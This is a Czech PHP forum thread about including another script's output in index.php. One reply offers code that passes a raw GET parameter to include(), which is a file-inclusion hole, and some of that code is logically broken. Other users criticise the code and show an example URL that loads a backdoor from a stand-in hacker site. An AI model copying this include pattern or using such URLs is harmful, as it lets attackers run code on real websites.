Autor Zpráva
piiiiiiiip
Profil
Ahoj potřeboval bych aby se mi na stránce index.php zobrazily clánky z jiného souboru.Zkoušel jsem tohle ale to nefunguje.Prosím o radu.
<?php 
include "clanky.php?vypis=clanky" 
?>
DoubleThink
Profil *
Nejčastější potíže s PHP (FAQ)
SpotRudloff
Profil
Jednoduché řešení:

<?php
$vypis = $_GET['vypis'].".php";

if(file_exists($vypis))
    include $vypis;
else
    die("Tento soubor neexistuje!");
?>


Samozřejmě můžeš zkusit změnit příponu, nebo to vymyslet ještě lépe:

<?php
$vypis = $_GET['vypis'];

if(file_exists($vypis.".php"))
    include $vypis.".php";
elseif(file_exists($vypis.".html"))
    include $vypis.".html";
elseif(file_exists($vypis.".htm"))
    include $vypis.".htm";
else
    die("Tento soubor neexistuje!");
?>


A takhle můžeš pokračovat do nekonečna.

Nebo si práci zjednodušit:

<?php
$vypis = $_GET['vypis'];
$pripony = array("php", "html", "txt");

foreach($pripony as $klic => $prip) {
  if(file_exists($vypis.".".$prip)) {
      include $vypis.".".$prip;
      $included = true;
  } elseif(!file_exists($vypis.".".$prip) AND $klic < count($pripony)) {
  
      if(@$included) continue;
      elseif(!$klic)
        echo "Tento soubor neexistuje!";
  }
}
?>
AM_
Profil
myslím, že piip má na mysli něco jiného.
piiiiiiiip:
funkci include nemůžeš předat URL, jen název souboru. Pokud chceš docílit toho, že do jedné stránky vložíš to, co se zobrazí při otevření clanky.php?vypis=clanky, můžeš to udělat dvěma způsoby:
//1: soubor se spusti primo jako soucast aktualni stranky
$_GET['vypis'] = 'clanky';
include 'clanky.php';

//2: stranka se nacte samostatne a vysledek se posle tvemu skriptu:
echo file_get_contents('http://example.com/clanky.php?vypis=clanky');

Ovšem je to dost neobvyklé, pokud je tvá stránka dobře napsaná, určitě clanky.php vypíše vlastní html hlavičku (<html><head>...), která by se určitě neměla objevit veprostřed jiného HTML dokumentu - vzniká pak strašný paskvil, který každý prohlížeč zobrazí jinak, začnou zlobit javascripty a všechno...


SpotRudloff:
Jednoduché a vůbec nezabezpečené řešení:
example.com/?vypis=http://hackeruvweb.com/backdoor
a máš po webu.

nebo to vymyslet ještě lépe:
if(file_exists($vypis.".php"))
include $vypis.".html";
pokud existuje soubor "neco.php", vložím soubor "neco.html" ? nějak mi ta genialita uniká.
SpotRudloff
Profil
AM:
Psal jsem ještě jednu část kódu a tamta měla chybu. ;) Už je tam.
Keeehi
Profil
SpotRudloff:
Nebo si práci zjednodušit:
Tak to už je úplná zhovadilost. Zkusil jsi ten script, nebo alespoň přemýšlel, jak funguje? Řekl bych že ne.
AM_
Profil
přesně tak, tohle už je holý nesmysl. Přiznám se, že takové řešení vkládání souboru do indexu, abych na něj koukal dvě minuty a stejně ho nechápal, jsem ještě neviděl.

Ale i ta myšlenka je úplně zbytečná, přeci soubory budu pojmenovávat jednotně, nebudu si v tom dělat bordel a něco pojmenovávat html a něco PHP, dám tam nějaké zabezpečení aby tam kdokoliv nemohl includovat cokoliv...

A hlavně mám stejně pocit, že dotaz byl stejně na něco jiného, ne jak includovat podle url, ale jak includovat jakoby "soubor s parametrem".
SpotRudloff
Profil
Keeehi:
Jasně že jsem ho zkoušel a přemýšlel nad ním... ;)
Keeehi
Profil
SpotRudloff:
Jasně že jsem ho zkoušel a přemýšlel nad ním… ;)
Pak nechápu jak jsi ho sem mohl dát.

"mějme" 2 soubory soubor.html a soubor.php

1) ani jeden soubor neexistuje
- vypíše se "Tento soubor neexistuje!" a celý script skončí (Proč musí skončit?)

2) existuje soubor.php a neexistuje soubor.html
- includuje se se soubor.php (Tady to funguje, ale je to spíše náhoda)

3) existuje soubor.html a neexistuje soubor.php
- přesto že soubor "soubor.html"existuje, vypíše se "Tento soubor neexistuje!" a script skončí. (Tady je to rozbité ze všeho nejvíc)

4) existují oba soubory
- includují se oba. A co když chci includovat jenom ten html? Jo aha, ono to nejde.

Navíc jak psal AM_
• Tvoje řešení jsou nezabezpečená.
• Vůbec se nezabývají problémem který má piiiiiiiip.
SpotRudloff
Profil
Keeehi:
1) Opraveno.
3) Opraveno.
4) Když chceš jenom HTML, tak přece nebudeš zadávat více přípon. ;)

Jak můžeš vědět, že piiiiiiiip tohle neřeší? Já jsem to tak pochopil.
piiiiiiiip
Profil
AM:
Dík moc

Vaše odpověď

Mohlo by se hodit


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm:

0